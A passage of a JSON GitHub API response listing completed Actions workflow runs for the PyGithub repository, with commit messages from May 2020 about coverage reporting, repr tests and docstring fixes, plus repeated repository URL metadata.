v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":108817672,"node_id":"MDExOldvcmtmbG93UnVuMTA4ODE3Njcy","head_branch":"master","head_sha":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","run_number":109,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/108817672","pull_requests":[],"created_at":"2020-05-19T02:28:36Z","updated_at":"2020-05-19T02:30:56Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/694638563","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108817672/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"e79b9013fe71ac9e54a3576d99ad95898ee52cff","tree_id":"664e6dc179f5f00831cc7ed635bd2e499815a6f0","message":"Turn on coverage reporting for codecov (#1522)\n\nSince we migrated from Travis to GitHub Actions, our coverage on codecov\r\nhas been reporting as 0%, since uploading the .coverage file is a\r\nterrible idea. Turn on XML-based reporting, ignore the file and use that\r\nwhen we upload to codecov.","timestamp":"2020-05-19T02:28:33Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":108794468,"node_id":"MDExOldvcmtmbG93UnVuMTA4Nzk0NDY4","head_branch":"master","head_sha":"291c46303dbe3f3fe8b291f9bbe957fbbf27c328","run_number":107,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108794468","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/108794468","pull_requests":[],"created_at":"2020-05-19T01:54:11Z","updated_at":"2020-05-19T01:56:28Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108794468/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108794468/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/694579010","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108794468/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108794468/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/108794468/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"291c46303dbe3f3fe8b291f9bbe957fbbf27c328","tree_id":"b8044f791b784fb49540fc07adf843996ac9878a","message":"Drastically increase coverage by checking repr() (#1521)\n\nA lot of our missing coverage is caused by not checking repr(), which is\r\ntrivial enough to test against -- do so, and also clean up existing repr\r\ntests to look the same by calling repr(). Where it was trivial, add a\r\nfew assertions about missing attributes.","timestamp":"2020-05-19T01:54:07Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"}},{"id":107927403,"node_id":"MDExOldvcmtmbG93UnVuMTA3OTI3NDAz","head_branch":"master","head_sha":"ce400bc7700c4974a5fe018ba993d0036ecad616","run_number":105,"event":"push","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/107927403","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/107927403","pull_requests":[],"created_at":"2020-05-18T08:04:43Z","updated_at":"2020-05-18T08:07:27Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/107927403/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/107927403/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/691690469","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/107927403/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/107927403/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/107927403/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"ce400bc7700c4974a5fe018ba993d0036ecad616","tree_id":"3fc812341e3556b87f7531dbd47835b316ff98eb","message":"Fixed formatting of docstrings for `Repository.create_git_tag_and_release()` and `StatsPunchCard`. (#1520)","timestamp":"2020-05-18T08:04:40Z","author":{"name":"Dominic Davis-Foster","email":"dominic@davis-foster.co.uk"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub